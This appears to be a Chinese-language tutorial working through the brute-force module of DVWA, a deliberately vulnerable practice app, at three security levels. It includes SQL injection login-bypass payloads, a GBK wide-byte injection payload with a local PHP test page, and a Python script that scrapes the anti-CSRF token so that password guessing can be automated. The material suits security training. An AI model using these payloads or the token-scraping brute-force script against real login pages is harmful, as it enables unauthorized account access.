DVWA教程——爆破brute force
1、low等级
ps:加入echo $query
方便测试
输入admin/admin,查看$query
结果
SELECT * FROM `users` WHERE user = 'admin' AND password = '21232f297a57a5a743894a0e4a801fc3';
// Get username
$user = $_GET[ 'username' ];
// Get password
$pass = $_GET[ 'password' ];
$pass = md5( $pass );
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
没有对GET提交的username、password进行任何过滤,直接带入数据库进行查询,可进行注入
payload:
?username=admin’%23&password=&Login=Login
SELECT * FROM `users` WHERE user = 'admin'#' AND password = 'd41d8cd98f00b204e9800998ecf8427e';
?username=admin%27–+%2B&password=&Login=Login
SELECT * FROM `users` WHERE user = 'admin'-- +' AND password = 'd41d8cd98f00b204e9800998ecf8427e';
使用burp的intruder功能对密码进行爆破
2、medium等级
<?php
// Sanitise username input
$user = $_GET[ 'username' ];
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
echo $query;
mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。查看转义效果:
SELECT * FROM `users` WHERE user = 'admin\'*/\"' AND password = 'c4ca4238a0b923820dcc509a6f75849b';
语法:
mysqli_real_escape_string(connection,escapestring);
参数 | 描述 |
---|---|
connection | 必需。规定要使用的 MySQL 连接。 |
escapestring | 必需。要转义的字符串。编码的字符是 NUL(ASCII 0)、\n、\r、\、’、" 和 Control-Z。 |
过滤的单引号、双引号不能注入,那就用burpsuite进行爆破,方法与前面相同
宽字节注入绕过
据说如果mysql的默认编码为GBK,可以绕过mysqli_real_escape_string/addslashes函数的过滤,自己修改下mysql设置,编写php代码测试一下
addslashes函数的语法:
addslashes ( string $str ) : string
addslashes函数的作用:
返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(’)、双引号(")、反斜线(\)与 NUL(NULL 字符)。
(1)修改mysql默认编码设置
我用的是phpstudy2018版,mysql版本为5.5.53,用命令修改编码不能成功,直接从my.ini下手
[client]
#default-character-set=utf8mb4
default-character-set=gbk
port=3306
[mysql]
#default-character-set=utf8mb4
default-character-set=gbk
phpstudy2018的mysqld下不能设置default-character-set=gbk,否则无法重新启动mysql,测试phpstudy2016发现改my.ini也没有用。
修改后查看默认编码
show variables like "%character_set_%";
修改dvwa数据库的默认编码
alter database dvwa character set gbk;
查看修改结果:
show create database dvwa;
同理修改数据表user的默认编码
alter table ‘users’ default character set gbk;
查看修改结果:
show create table users;
将medium.php单独拿出来,修改部分代码可以实现宽字节注入本地复现,在medium.php前两行加入下面代码测试宽字节注入:
注意:将该文件放在根目录下测试才能成功
$GLOBALS["___mysqli_ston"]=mysqli_connect('127.0.0.1','root','root','dvwa',3306);
mysqli_query($GLOBALS["___mysqli_ston"], "SET NAMES 'gbk'" );
(2)编写测试代码
宽字节注入原理及本地复现参考教程:Hr-Papers|宽字节注入深度讲解
使用dvwa数据库编写测试代码:
<?php
//连接数据库部分,注意使用了gbk编码
header('Content-Type:text/html;charset=gb2312');
$conn = mysqli_connect('localhost', 'root', 'root','dvwa') or die('bad!');
mysqli_query($conn,"SET NAMES 'gbk'");
//执行sql语句
$user = isset($_GET['user']) ? addslashes($_GET['user']) : 'admin';
//$user = isset($_GET['user']) ? mysqli_real_escape_string($conn,$_GET['user']) : 'admin';
$sql = "SELECT * FROM users WHERE user='{$user}'";
echo $sql;
echo "\n";
$result = mysqli_query($conn,$sql) or die(mysqli_error($conn));
?>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<title>宽字节测试</title>
</head>
<?php
if( $result && mysqli_num_rows( $result ) == 1 ){
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
echo "<h2>{$row['user']}</h2><p>{$row['password']}<p>\n";
}
else{
echo "<p>"."user or password error!"."<p>\n";
}
mysqli_close($conn);
?>
</body>
</html>
payload:
?user=admin%df%27%20–%20+
使用mysqli_real_escape_string过滤的结果:
使用addslashes过滤的结果:
3、high等级
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
新增token校验和stripslashes()函数过滤
stripslashes定义和用法
stripslashes() 函数删除由 addslashes() 函数添加的反斜杠。
提示:该函数可用于清理从数据库中或者从 HTML 表单中取回的数据。
没有趁手的工具,自己来用python来爆破一波
获取token脚本
#coding:utf-8
import requests
import re
url='http://192.168.78.1/dvwa/vulnerabilities/brute/'
headers={
"Host":"192.168.78.1",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
"Accept-Encoding":"gzip, deflate",
"Referer":"http://192.168.78.1/dvwa/security.php",
"Connection":"keep-alive",
"Cookie":"security=high; PHPSESSID=ke27qaiipg1rghvda1hgu4td86",
"Upgrade-Insecure-Requests":"1",
"Cache-Control":"max-age=0"
}
s=requests.session()
res=s.get(url=url,headers=headers,timeout=10)
# print(res.text)
html_res=res.text
pattern=r'\Suser_token\S\svalue=\S(.*)\S\s/>'
p=re.compile(pattern)
user_token=p.findall(html_res)[0]
print(user_token)
user='admin'
pwd='password'
params={'username':user,'password':pwd,'Login':'Login','user_token':user_token}
bruteres=s.get(url=url,headers=headers,params=params,timeout=10)
print(len(bruteres.text))
print(bruteres.text)
这里没有加载字典进行爆破,只用了正确的账号密码进行了登陆,关键在获取token,相关加载字典爆破代码可以参照我另一篇文章《Python 验证码 crunch|狼组CTF题 有验证码后台账号密码爆破》